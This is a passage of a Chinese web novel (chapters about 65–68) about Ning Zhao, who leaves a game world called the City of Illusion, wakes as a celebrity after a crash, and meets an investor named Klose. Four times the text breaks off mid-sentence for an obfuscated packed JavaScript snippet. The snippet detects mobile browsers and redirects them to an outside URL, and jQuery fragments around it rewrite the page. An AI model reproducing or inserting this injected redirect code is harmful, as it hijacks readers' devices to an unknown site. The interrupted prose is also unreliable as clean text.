“那就打扰啦。” 宁昭答应得很爽快。 没过多久，艾琳娜的母亲莫妮卡就回来了。她是个美丽的墨西哥妇人，女儿的美貌遗传自她，两人的眉眼笑起来时也格外相似。 了解到今天发生的一切，莫妮卡非常热情地招待了宁昭，还去市场上买了许多食物，一回家就忙起了晚饭。 以至于潘斯回来后觉得有些意外。 不过他的心好像并没放在宁昭身上，只看了她几眼就别开了，反而是一脸温和地看着艾琳娜：“孩子，看爸爸给你带了些什么？” 一条粉色缎面裙抖落出现在艾琳娜面前，裙摆上嵌满了剔透的水晶。哪怕室内只点着昏暗的煤油灯，也能映射出钻面的熠熠光辉，顿时让这拥挤的店铺变得蓬荜生辉起来。 “好漂亮！” 艾琳娜惊呼，爱不释手地接过衣服，在一阵欣喜后便露出了担忧的神色：“这个面料很贵，爸爸，你怎么会……” 身为裁缝的艾琳娜对面料的价格很敏感。家境贫穷的她在收到这条美貌的连衣裙后，下意识竟不是感觉有多高兴，而是开始担忧这会不会花光父亲手里全部的积蓄。 潘斯拍拍她的肩，脸色有些疲惫，但仍带着笑，只是没有正面回答她这个问题：“孩子，我有能力为你买一条新裙子。” 听到他这样说，艾琳娜放下心来，脸上的神情也逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14105630|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得明媚。 虽不了解具体价格，但宁昭能看出来，潘斯给她买的这条裙子绝对不便宜。在通常情况下，月薪只够糊口的人是不会用十倍月薪的价格买一条美丽却不能经常穿出去的裙子的。 除非执念特别深——潘斯显然不是这种人。 宁昭知道这钱是怎么来的，这也正是她会再次返回艾琳娜家的原因。 晚餐准备就绪，喜笑颜开的艾琳娜拉着宁昭坐在并不宽敞的餐桌旁：“我们一起吃晚餐吧！” 莫妮卡的手艺非常好，有艾琳娜活跃气氛，潘斯的沉默不显得那么尴尬，这顿饭也在愉悦的氛围里度过了。 直到一阵敲门声打破了看似和睦的氛围—— 就在门响起的刹那，空气好像凝固起来，一股莫名的紧张感开始流动。 “我去开门吧。” 店铺的面积太小，潘斯和莫妮卡坐在里面不好出来，只有艾琳娜离门最近。 按了按腰间的枪，宁昭不动声色看向门口。 门一拉开，一张帅得很无赖的脸出现，宁昭看清来人后心乍然一惊：“沈书言？” “这位是？” 见宁昭认识他，艾琳娜让开身：“先请进吧！” “不进去了。我是来接老婆的。” 他脸不红心不跳，朝着宁昭在的方向就勾了勾手：“老婆，回家。” “……” “原来您结过婚了。” 艾琳娜的脸上先是闪过不可置信，随后便是磕cp的笑：“你们两个好般配！” 怕沈书言语不惊人死不休再说出什么话来，宁昭赶紧起身：“艾琳娜，谢谢你的招待，我先走了。” 莫妮卡起身与她告别，潘斯却依旧坐在原地不动。他眼都没抬，只呆呆地看着面前的饭菜一言不发。 宁昭将这一幕收入眼中，和艾琳娜挥手告别。 “你来做什么？” 身后的门一关上，宁昭没好气问了一句：“那么多天不见你人，我今天有事，你突然过来插这么一脚干什么？” 把她原本的计划都打乱了。 “刚刚不是说了吗，来接老婆回家啊。” 还是一副什么都不放在心上的吊儿郎当的模样，沈书言耸耸肩：“这都多晚了，你不知道这个点的墨西哥有多危险？你想死？” “我有地图，还是监管者，要你接什么啊？” 宁昭觉得他有些幽默：“你到底说不说实话？” 沈书言不置可否地笑笑：“倒也没什么大事。你今天和时也说话了？” 她就知道。 “你和时也是什么关系？” 宁昭不答反问。 “我挺烦他。” “谁你不烦？” 宁昭都有些想笑了。她是挺想看到队友哥另一面的，只是他这另一面叛逆得有些过头了吧。 但想到之前副本中沈书言对待时也的态度，她也就不觉得奇怪了。 原来两个人不是不对眼缘，而是单纯的在以前关系就很塑料。 “嘘——” 正当两人说着话，沈书言突然伸手揽住宁昭的腰，带着她快速隐没在一旁的墙壁之后。 65. 沙漠生存指南 他们还没走多远，艾琳娜的店门口就又出现了一抹隐没在黑暗中的身影。 潘斯从屋子里走了出来。 看来他刚刚的呆滞是在掩饰他内心的焦躁不安，不然他也不会在宁昭他们还没走远时就迫不及待离开他的家。 “走。” 宁昭拉上沈书言的手腕就迈步想走，却没想到沈书言并没有动作。 她有些奇怪地往后看了一眼，发现他没有半点要走的意思，反而还靠在了墙上，像是在等待着什么。 “怎么了？” 眼看着潘斯的身影匆忙路过巷口，就快要消失在这条长路的尽头，宁昭不免觉得有些着急。 “平时那么机灵，怎么这个时候就不知道螳螂捕蝉黄雀在后的道理了。” 他把宁昭拉到自己身后，看向旁边的一条深巷：“有人在这里等你很久了。” 黑漆漆的巷子没有路灯，乍乍看过去，入目的是深不见底的黑暗。宁昭从未想过，这样寂静的深巷中，竟然会藏着一个人。 “本来还想看看这美女有多大能耐，结果真没意思。” 玩味的声音骤然响起，那深巷中果然传出一道男声。 一张邪气的脸从隐没的黑暗中出现，是一张完全陌生、宁昭毫无印象的脸。 “你我的恩怨，别拉女人进来。” 沈书言的表情看不出喜怒，但淡定的话语却昭示着他其实并不意外。 至此，宁昭黯然心惊，这才意识到原来自己已经钻进了别人的圈套。 也许今天白天看到的一切都是有人故意想让她看到的，而她刚才如果真的跟踪潘斯走了过去，等待她的还不知道会是什么。 “你女人的警觉性不错，但她过于善良了。” 男人走到他们面前，用漫不经心的目光上下打量着宁昭，脸上始终带着无所谓的笑容：“她要是有你十分之一的狠心，那这权力也不算白给她。” “你对白给的定义是什么？” 男人的傲慢让宁昭不悦，但她并未表现出来，而是用淡淡的语气反问：“用它杀人越货，这样才算物尽其用，是吗？” 她讨厌这些男人的轻狂和傲慢。 “当然。” 他理所当然地耸肩：“我是这么做的，沈书言这些年来也是这么做的。你不会天真的以为，拿到他手里那么一点点的控制权，就能把这里改造成和平友爱的新世界吧？” “其实想要做到这样也未尝不可。” 另一道男声从巷口响起，紧接着，克洛斯的身影出现在那里。借着月光，宁昭能看到他脸上的伤疤，血痂出现在他白皙的脸上，显得尤为触目惊心。 看到巷子里正在对峙的三人，克洛斯不禁莞尔：“只是，我的好大哥必须去死才行。” 他脸上终于又出现了久违的、宁昭最为熟悉不过的不屑神情，他的嘴也如以前一般轻描淡写地说着一些叫人去死的话。 “李绍，这几天我一直在想——” 面对反水的兄弟，沈书言表现得毫不意外。他甚至懒得给克洛斯分一个眼神，直接转头看向另一边的男人：“如果我真想改造一下虚妄之都，那你手里的那些生意还能活多久？” 李绍无所谓地耸耸肩：“很可惜，你没有这个机会了。” 话音落下，克洛斯已经举枪，对准了沈书言的脑袋。 “克洛斯，你成长得很快。” 沈书言看向克洛斯，竟有些欣慰地笑笑：“也够狠心。” “狠心是我从你身上学到的第一件东西。” 前些天还会开玩笑的语气荡然无存，留下的只有想杀了沈书言取而代之的野心。 “你投靠了李绍，但李绍没有告诉你，你杀不死我么？” 到了这个关头，沈书言仍漫不经心地勾着宁昭的小指，在她的肌肤上不停地摩挲。 宁昭搞不懂他的想法，却也没有甩开他。 虽然她和沈书言被堵在巷子里，但宁昭完全可以利用地图离开。只是沈书言一直抓着她的手不放，没有任何让她拿地图的意思。 所以她没有轻举妄动，只是沉默缄口，冷眼看着面前发生的一切。 “我不会杀死你。” 克洛斯举着枪的手微微一转，枪口立马对准了宁昭：“但她会死。” “哦……” 看到克洛斯的动作，沈书言点点头：“你想要威胁我，要我交出手里剩下的控制权。” 在沈书言说这句话时，克洛斯一直看着宁昭的脸。他希望她有些什么其他的表情，但她看起来好像比沈书言还要冷静，那张漂亮的脸蛋上流露出来的也是他再熟悉不过的漠不关心。 心脏莫名抽疼，一股无名怒火在胸腔蔓延开来。 “开枪吧。” 宁昭的小臂处突然传来一阵拉力，沈书言猛地抓住她的手腕，拽着她往前走了两步。 她一个踉跄差点摔倒，回过神来时，冰冷的枪口已经抵在了她的太阳穴。 ？ 她不敢置信地看着沈书言，不敢相信他竟然会这么做。 “你说你从我身上学会的第一件东西是狠心，那你就应该知道，这个只认识几天的女人对我来说其实并不是那么重要。” 他一只手握着宁昭的手腕，另一只手抵在她的后背上防止她逃跑，力道极大，宁昭身形单薄，根本挣脱不开。 宁昭刚想出声骂人，却在看到突然出现的数据面板时噤了声。 【传输进度：98％……】 【传输成功！您好，审判者，您已解锁虚妄之都的最高权限——】 “倒是你，你舍得吗？” 沈书言却像没注意到宁昭突然变得僵硬的身形似的，继续出言攻击着克洛斯的心理防线：“克洛斯，不要以为你很了解我。这个女人天真可笑，你也未必比她好到哪里去。” “呵……” 闻言，克洛斯扯了扯嘴角，而一旁的李绍则是双手环胸靠在墙上，悠然自得地看着这出兄弟阋墙的好戏。 “咔哒”一道细微的声响，在宁昭的耳边无限放大。 克洛斯扣动了扳机。 【系统检测到您已处于“垂死之际”，将自动送您回到主神空间。】 失去意识前，宁昭听到了这样一句话。 * “宁昭！” 熟悉的味道萦绕鼻尖， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14167556|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁昭睁开眼，落入一个温暖的怀抱。 沈书言抱她抱得很紧：“还好吗？” 她大脑空白了几秒，直至她回过神来，看到沈书言那张明显带着焦急的俊脸，这才意识到她已经回到了主神空间。 系统会在检测到她处于“垂死之际”时自动将她送回，所以克洛斯那厮是真的开枪想让她死，她才会回来。 面前的沈书言虽然长得和以前一样，但宁昭能从他眉眼中的神态中看出来，他是她以前认识的那个队友哥，不是刚才把她往枪口上送的沈书言。 【沈书言：玩家。本体为一只灵狐，曾为虚妄之都审判者，后被抹去记忆，不可抹杀。】 系统面板出现一行字，宁昭这才后知后觉，她已经获得了虚妄之都的最高权限。 想到回来前沈书言一直握着她的手把玩，想来那不是调情，而是在给她传输权限。 在她获得他手里的全部权限后，克洛斯开了枪，于是她回到了现在，回到了现在这个一无所有的沈书言的身边。 她伸手摸上他的脸：“你是故意把我往枪口上送的，你知道克洛斯一定会开枪。” 为了证明自己不是个感情用事的废物，情绪上头的克洛斯一定会开那一枪。 而趁着他开枪前的几分钟把权限传输，等到宁昭离开，沈书言手上没了能用的权限，他们又杀不死他，克洛斯和李绍只能败兴而归。 他伸手握住她的手，拇指轻轻摩挲她的手背肌肤：“事实证明，我的决策是正确的。” “可在那之后你是怎么过来的？” 目前握在宁昭手中的权限是80％，这就说明克洛斯和李绍的手里起码有20％的控制权。 那是克洛斯还没有反水时沈书言给他的。 她不知道她离开后过了多久沈书言才再次遇到她，当然也就不知道他丢失所有权限后，在克洛斯的压迫下究竟是怎么过的。 “不重要，他们杀不死我。” 沈书言摸摸她柔顺的金发：“要不要休息一会儿？饿不饿？我让萧朔做些东西给你吃。” 宁昭却摇头，一心想追问到底：“李绍是谁？” “是上次攻击我们飞机的人。” 沈书言很耐心，她问什么答什么，还主动给她解释：“也是柯尔特的直系上司。” “那他现在……” “他已经死了。” 他摸了摸宁昭的脖颈，指尖擦过她光洁细腻的颈部肌肤：“克洛斯杀的，和我没关系。” “……慌什么，是你杀的我也理解。” 见沈书言一副撇清关系的模样，宁昭悬在心头的石头落下，取而代之的是稳稳的安心。 “那现在距离那时，过去了多少年？” 心头疑惑解了大半，宁昭心头仍剩下一个很重要的问题：“这些年里，你的身上都发生了些什么？你当时并没有被逼到绝境，为什么要把权限都给了我？你明明不用那样做……” “宁昭。” 他的眼底一片青黑，声音也略有些嘶哑。但就算是这样，他眸色依旧温柔，低下头在宁昭的唇上轻轻吻了一下，没有回答她一连串的问题：“你就不想我吗？” 66. 未完成之事 没想到他会这样，宁昭愣了一愣。 唇上的温度稍纵即逝，但他的距离却没有撤退半分。温热的气息喷洒在宁昭的脸上，安静的房间中，她只能听到他近在咫尺的呼吸声。 “……我离开了很久吗？” 眼看他又要亲她，她伸手捂住他的嘴，却藏不住眼里的笑意：“我怎么感觉是你比较想我才对。” “13天。” 沈书言理了理她的头发：“客观来说，不算太久，但只有我感觉度日如年。” 他直白得让宁昭意外。 大概是回来得太快，宁昭还没能完全适应沈书言性格上翻天覆地的转变。她有些别扭地在他唇上回吻了一下：“我也很想你。” 这是真心话。虽然这半个月她也都是和沈书言待在一起，但那样的感觉不一样。 就像翻开一本已经看完的小说，只有她又回到了刚开始的节点，遇到的是还没经历过那些事的沈书言。 虽然知道结局，但面对没有故事的他，她很难产生以往那种面对队友哥时才会产生的情感。 有信任，有依赖，当然也有爱。他是与她并肩而行的队友，也是经历了这些后水到渠成陪在她身边的另一半。 “我把你交给我的东西都带回来了。” 宁昭松开他，点了下系统面板，画面立刻在他们的面前展开，却没想到先弹出来的竟然是上一个支线任务的副本总结。 【系统正在结算奖励……】 【主线任务完成度：726000/1000000】 【支线任务完成度：61％】 【受伤率：36％】 【死亡率：0％】 【等级评定：S级】 【恭喜您成功通过支线副本！】 还未等她讲话，下一行字又浮现。 【检测到6824号玩家独自进入支线副本并成功获得虚妄之都80％控制权，表现十分优异，故系统决定将您此次获得的奖励（包括主线进度）以4倍比例赠与您与您的队友。 恭喜您，审判者小姐，您通关啦^_^】 顺道还卖了个萌。 “这是……” 看着这行字，宁昭有些不敢置信：“我就这样通关了？” 沈书言拧眉，没说话。 门口忽然传来砰砰的敲门声，随后便是萧朔惊喜兴奋的声音：“沈哥沈哥，我的主线进度猛猛窜了一下啊！他说我通关了，怎么回事，是不是女神回来了——” 【系统将在30秒后送您离开虚妄之都。】 机械的女声响起，随之而来的还有秒针转动的滴答声。 “那你怎么办？” 宁昭没理会外面的敲门声，猛地抓住沈书言的手：“你和我一起走……” “我走不了。” 沈书言摸摸她的头发：“你很聪明，到哪里都会活得很好。如果你不想忘记我……” “什么叫你走不了，你去哪也不能留在这里啊！” 一直都很冷静的宁昭终于乱了阵脚，她不顾一切地抱住沈书言，仿佛只要这样紧紧抱住他，系统就会像她使用技能一样，把她的队友一起带走。 30秒很短暂，短到他们只说了两句话，宁昭就感到一阵头晕目眩。 不知是不是系统发力的缘故，宁昭渐渐松开沈书言，眼前的画面也变得模糊。 丢失意识前，她感觉自己的手心被人塞了个东西。 仿佛还有人在她耳边说：我爱你。 * “寒姐，昭昭醒了！” 兴奋的女声震动鼓膜，宁昭迷迷糊糊睁开眼，面前忽然出现一个模糊的身影，她却始终捕捉不到那人具体的长相。 也不知过了多久，她的视线逐渐清明，大脑虽仍一片空白，但白花花的天花板却已经涌入视线，鼻子也恢复知觉，传来消毒水的味道。 坐在病床边的简香寒肉眼可见松了一大口气。她伸手握住宁昭的手，声音关切：“你醒了，身体感觉怎么样？” 一旁的李曾柔看到这一幕，激动得鼻子一酸，眼泪像断了线的珍珠：“终于醒了，吓死我了……” “寒姐？” 大脑终于开始转动，宁昭看清面前女人的脸，下意识抓住她的手：“我这是怎么了？” 不知为何，在她说出这句话时，心上忽然涌起一股怅然若失的感觉。 她感觉自己好像丢失了一段很长很重要的记忆，心有些空空的。但看到面前的人，她又确实能叫出她们的名字。 她的经纪人简香寒，还有她的助理兼化妆师，李曾柔。 “不记得了？” 简香寒一愣，眉头敛起，摸了摸她的额头：“医生说不算太严重啊，怎么还失忆了？” 宁昭放下她的手：“没失忆，就是一时间没缓过神。” 她想起来了。她去参加一个活动，在回家的路上出了车祸，然后就没了记忆，直到现在。 “我应该睡了很久吧。” 宁昭起身，简香寒连忙扶起她，李曾柔也顺势去摇病床，让她能安心靠在床上。 她有种恍如隔世的感觉，就好像这一觉她睡了几辈子。 “没多久，也就半天。” 宁昭没有说话，下意识捏了捏手心。但就是这举动，让她突然愣了下。 自己手中好像一直攥着个什么东西，她拿出来一看，发现竟然是个红色的同心结。 “这是什么？” 红色显眼，宁昭张开掌心，身旁的二人一看就能看见。尤其是简香寒，她觉得奇怪：“送你来医院时你手里没东西啊，这玩意哪来的？” 宁昭也不知道。 只是手中的同心结制作实在精巧，锦带制的结子紧紧扣在一起，漂亮又飘逸，一看就是个手极巧的人做出来的，比那些店里卖的都要好看许多。 但她不记得自己买过这种同心结。 一切都太奇怪了。 看到宁昭努力回忆的表情，简香寒叹了口气，把同心结从她手里拿走：“给我吧，别想了，好好休息。你出车祸的事我给按下去了，粉丝也不知道。还好出事的时候是半夜，不然青天白日的肯定瞒不住。” 宁昭看了眼窗外，晨光微熹，太阳已经升起来了。 “没告诉我爸妈吧。” 她轻吸一口气：“手机给我。” “医生说问题不大，我想着你肯定不让说，就没告诉。你手机摔坏了，拿到的时候都碎得不像样了，我今天再去给你去买个新的。” “既然昭昭醒了，要不要去办出院？” 李曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14232959|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔到底年纪小，什么情绪都写在脸上，刚刚一直担心着，直到看到宁昭没事她才彻底放下心来，想着要去帮她做点事。 “嗯，出院。” 虽然头有点疼，但都在她的可控范围之内。如果记得没错，今天还有一支广告要拍，她不会让任何事情影响到她的工作。 只是不知为何，她心中总种不切实际的感觉。 我就这么回来了？ 想到这里，她的思绪突然凝固，时间也在刹那间静止。 她怎么会这样想？ 她想不明白，也没有头绪，最终只能闭上眼睛，等待李曾柔去办好出院证明。 离开医院时，不过早上6点。 她全副武装，戴好口罩和墨镜，还把惹眼的金发给盘了起来，藏在帽子下。 虽然这个点医院没什么人，但她还是要谨慎。毕竟这个地点太敏感，要是被拍到，还不知道营销号要怎么做文章。 简香寒安排好的车已经在楼下等。上车后，简香寒给宁昭调了调座椅的舒适度：“撞你们车的那个司机酒驾，全责。这事公司会解决的，你不用操心，还是该干什么干什么。” “嗯。” 宁昭懒懒应了一声。 “先去吃点东西吧，你这两天可以多吃点。” 想到医生的话，简香寒补充道：“原本撞得不严重，但你昨天一天没吃饭，再加上你低血糖，一晕就晕了这么久。” 差点没把她吓死。 “那我要喝奶茶。” “……行。” 简香寒咬咬牙：“今天这支广告拍完给你买。” 保姆车离开医院停车场，驶入空旷的街道。现在正是最热的季节，也是一年中白天最长的时候。虽然才六点多，但天光已经大亮，太阳光透过薄薄的云层洒在大地上，犹如点点碎金，昭示着今天一定是个好天气。 “今天拍完广告可以休息一周。下周要去巴黎参加时装周，紧接着就是去曼谷的剪彩活动，回来要参加极光盛典，同时还要拍一期杂志。幸亏你没出大事，不然就完蛋了。” 看到ipad上密密麻麻的行程，简香寒还是觉得后怕。 “好忙啊。” 虽然已经习惯忙碌，但宁昭还是不由得吐槽：“如果可以瞬间移动就好了。比如给我一张地图，想去哪里就点哪里，然后我就到了。” “嗯，那你也不会出车祸了，更安全。” 简香寒只当她在开玩笑。 宁昭笑笑没说话。 在医院里度过了一晚，勉强也算休息。几个小时的睡眠时间对宁昭来说已经足够，所以她们没有回家，直接去了广告拍摄现场，到那里时刚好八点整。 下车时，宁昭眯眼看了看天上的太阳，心情莫名觉得舒畅，好像有一块压在心头很久的石头被卸下了，她前所未有地感觉到了轻松。 “你以为这就结束了吗？” 女声响起的刹那，宁昭的动作猛地刹住。 她转头，看到对面大厦上的电子屏幕，上面正在播放一支广告。屏幕里的女明星拿着她代言的产品，朝屏幕外嫣然一笑：“也许一切都才刚刚开始。” 那女明星是她自己，这是她很久之前拍的一支广告。 宁昭深吸一口气，转头走进了拍摄现场。 67. 未完成之事 “宁老师您好，我是您今天的造型师，您可以叫我段竹。” 进入休息室，一个染着红发的时髦男人热情起身，和宁昭打起了招呼。 段竹是近期时尚圈攀红的新人，凭借大胆的妆造让不少女明星拥有了出圈的人生造型，于是公司便联系他操刀宁昭这次代言的妆造。 照例又是一阵听得宁昭耳朵起茧子的吹捧，寒暄后，段竹看了看她的头发，有些抱歉地笑笑：“我们今天一共有四套造型，其中只有一套会使用到您现在的发色。想问问老师介意当场把头发染黑吗？不方便的话，这里也为您准备了假发的选择。” 看着镜中自己的一头金发，宁昭理所当然地点头：“当然没问题。刚好很久没换发色了，还是黑色耐看。” “也没有很久吧，不是前天才漂的金发吗？” 李曾柔一边整理化妆品，一边笑着提醒：“漂发对发质损害很大，这次染黑后要好好护理，短时间内可不能再折腾了。” 好像确实是前天才染的金发。 宁昭没在意，抬头看向简香寒：“能不能快点去买手机，我有好多消息要回，买回来还得传数据很麻烦的。” “已经让小秦送来了，估计半小时内到。” “那先化妆吧。” “好。” 业内的工作人员都很喜欢和宁昭一起合作。虽然她是顶流，但却从来没耍过大牌，永远都是笑脸迎人，不仅亲和力强，还会请所有人喝下午茶，送各种小礼物。 最重要的是，她长得省事，工作时的态度也极其认真。 这么多年过去，她已经锻炼出一看到镜头就进入状态的习惯。超强的时尚表现力与过于完美的脸蛋让她的工作效率比别人高很多，原定一整天才能结束的拍摄任务，不过只到快傍晚的时候就完美收工了。 晚上大家约好一起聚餐，宁昭觉得累，把钱转过去说她请客后就回了家。 然后她把自己关在家里睡了整整三天。 不知道为什么，从出完车祸到工作完回家，宁昭整个人感觉特别疲惫。这种感觉难以言说，但从未出现过，好像只有睡觉才能把她从这样的状态中短暂解救出来。 如果不是简香寒突然一通电话打过来，她可能会在家里闷上整整一个星期。 “快起来化妆，今晚有个饭局，投资方点名要你去，说是有好资源要谈，机会千万不能错过。” 简香寒的声音听起来急匆匆的，仿佛真的有什么十万火急的事情发生。 “我又不是陪酒的，让我去我就去？” 宁昭不喜欢应付这些饭局，说话语气不太好：“我明年的行程都排满了，有资源也没空拍。” 说罢，她也不管电话那头说了些什么，直接把电话挂了。 简香寒虽然是每天都陪伴在她身边的经纪人，但宁昭也未曾将她当成过知心的朋友。 她们之间的关系被公司利益捆绑，一旦树倒猢狲散，简香寒不一定会站在她的身边。天下熙熙皆为利来，人心还隔着一层肚皮，这样摇摇欲坠的关系，迟早有一天会完蛋。 所以，宁昭已经生了和公司解约自立门户的心思，当然也就不会再乖乖听从简香寒的所有安排。 直到她看到简香寒给她发的消息。 【寒姐】：好莱坞的电影资源，你真不来？ 宁昭立马起身。 她不会错过任何一个对她真正有利的机会。 收拾了半天，终于选出一套满意的穿搭。化完一个精致的妆容后，宁昭开了自己的车，去餐厅和简香寒会合。 吃饭地点定在海城最高档的私人餐厅，据说这里每天只接待两桌客人，而且极难预定，千金难买一个位置。宁昭之前吃过几次，所以轻车熟路，很快就找到了藏在一片竹林之后的幽静别墅。 “你还是黑头发好看。” 看到从车上下来的宁昭，简香寒连忙走过去，接过她手中的包：“今天穿得也很大气。” 其实今天的造型宁昭是花了一点小巧思的。听说投资方是外国人，手里握着好莱坞最新大片的资源，一来中国就找上了国内的顶级大花宁昭，说是很欣赏她身上的东方韵味。 所以，宁昭把头发拉成黑长直，化了个明艳的红唇妆，还戴了一副金耳坠，一眼看去尽显东方美人的骨相美，哪怕是每天都要见到她的简香寒看了，也要在心里默默感慨几句。 别墅的管家上前迎接，将她们带到了二楼一个宽敞的包厢。宁昭推门而入，一进门就看到沙发上坐着的一位金发碧眼的男子。 他穿着一套黑色的西装，看着俊美又绅士，这倒是让宁昭觉得有几分意外。 以往见过的投资商大多是大腹便便的老板，很少见到这样帅气的男人，完全不符合她对这类人的刻板印象。 在她发愣之际，身后的门已被关上，简香寒没有跟她一起进来。 “您好，宁小姐。” 男人看到她，走到她面前，礼貌地向她伸出手：“我叫克洛斯。” “您好。” 宁昭和她虚握了下手，朝他露出一抹礼貌的微笑：“没有其他人吗？” 哪怕面前的是个帅哥，宁昭也不会丢失警惕。这个包厢很大，只有他们两个人在场难免显得有些空旷。除此之外，简香寒没进门也让宁昭心里敲响了警钟。 似乎是看出了宁昭的顾虑，克洛斯失笑，伸手帮她拉开椅子：“只有我们两个人，但我是诚心来谈合作的，宁小姐不必紧张。” 虽然克洛斯是外国人，但他的中文却说得很好，就像他的母语一样让人听不出任何口音。 这让宁昭的不安稍微减少了些。 入座后，宁昭看向面前的克洛斯，不禁出声问道：“克洛斯先生，我之前是不是在哪里见过你？” “是吗？” 克洛斯有些意外地挑挑眉：“我想你应该记错了。如果我曾见过你这样的大美人，应该终身难忘才对，但我并没有这样的记忆。” 奉承话听惯了，宁昭没有多作回应，而是开门见山和他谈起合作：“听说您想在中国找一个能参演您下部投资作品的女演员？” “这也是我今天会找到你的原因。” 一件件菜品被端上餐桌，克洛斯贴心为她切好了牛排：“你是我见过最有灵气的中国女演员，丝毫不逊于那些拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253533|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过国际奖项的影后。” 这句话把宁昭捧得太高，宁昭愧不敢当：“您过奖了。如果能有幸走向国际舞台，自然是我的荣幸。只是不知道克洛斯先生想开怎样的条件？” 在娱乐圈一路摸爬滚打，宁昭深知天下没有免费的午餐。如果克洛斯只提商业上的要求，那还可以谈。如果他有半点想潜规则她的意向，她会立马起身就走。 “互利共赢的事，我当然不会为难你。” 克洛斯晃了晃手边的红酒，碧绿的双眸看向她绝美无双的容颜，眸色深若幽潭：“只是想和宁小姐交个朋友。别误会，只是普通朋友。” 不懂克洛斯葫芦里卖的什么药，宁昭看着他一言不发，像是在等待他接下来的话。 “不瞒你说，来见您之前，我做了些功课。我了解到宁小姐与贵公司的合约会在明年一月到期，届时如果您没有续约意向，是否可以考虑与我达成长期合作的关系？” 说罢，她的面前已经多了一张烫金的名片。 原来是挖墙脚。 门外的简香寒大概也没想到，自己心心念念想要促成的大合作，合作方抱着的竟然是这样的心思。 将名片收进包里，宁昭露出一个意味不明的笑：“距离明年一月还有小半年的时间，现在说什么都为时太早，我没办法给您确切的回应，不过还是感谢您的青睐。” 她举起酒杯，与他轻轻相碰。 这段话说得滴水不漏，克洛斯挑不出什么错处来，只能淡笑着耸耸肩，表示他理解。 不知为何，虽然面前的男人一直挂着笑，但宁昭总觉得他的底色并不像他表现出来那样纯善。 这样的第六感十分强烈，让她很难去相信他说的话，也看不出他想要合作的心到底有多真诚。 “那我们就来谈眼前的合作。” 见刚才那个话题被宁昭拒绝，克洛斯拿出一份文件放到宁昭面前，又换了个说法：“这是由我们公司投资、明年即将开拍的电影，想邀请您来参演这部电影的女主角。” 竟然让一个中国女演员去演好莱坞大片的女主角，他怕不是疯了？ 宁昭看他的眼神顿时变得警惕——这人别是来搞诈骗套路她的吧？现在骗子的手段层出不穷，难保就不会算计到她的头上来。 回头得去新买的手机上下个国家反诈中心。 “我不是骗子。” 克洛斯失笑：“您可以看看合同。签约前，宁小姐可以先去我们美国的总公司参观，并和已签约的演员进行交流沟通，比如这部电影的男主角，乔斯·布鲁诺。” “签约后，我们会在官网公开发布预告片，然后进入正式的拍摄阶段。一切程序都是公开透明，如果有顾虑，您可以邀请律师和保镖一路随行。” 克洛斯提到的男星是个国际巨星，面前的合同也确实弄得像模像样。如果这是真的，那宁昭就是真的要收拾收拾准备升咖了。 “为什么会选我？” 合上合同，宁昭直勾勾看向他，似乎想从他的脸上找到些破绽。 “你想听实话么？” 克洛斯漫不经心地摇了摇面前的红酒杯。 68. 未完成之事 “从商人的角度来看，你是一颗摇钱树。” 克洛斯也不卖关子：“这也是你经纪人愿意冒风险让你一个人待在这个包间里的原因。毕竟如果我真的想做些什么，你根本没办法反抗。” 宁昭捏紧了拳头。 “看到那边的摄像头了么。” 克洛斯抬了抬下巴，看向包厢的左上角，那里有一个摄像头：“如果我真的做了什么，那这段视频就会第一时间落到你的经纪人手里。到时候，你将永远无法摆脱这个疯狂吸你血的公司。” 这些年来宁昭兢兢业业，从未有过行差踏错的时候，这就导致公司的手里没有她的任何把柄与黑料。所以，从某种角度上来说，简香寒也许更希望她和克洛斯在今晚发生些什么。 只要能抓住宁昭的把柄，那她再想离开公司就难了。 宁昭比任何人都知道她身上潜藏的巨大的商业价值，所以她也能理解克洛斯此行的意图。 思忖片刻，宁昭颔首：“帮我摆脱公司，然后我们合作。” 人往高处走，这些年来公司通过她赚得盆满钵满，她也算是仁至义尽。无论未来的路如何，她都不想再待在现在这样的环境里了。 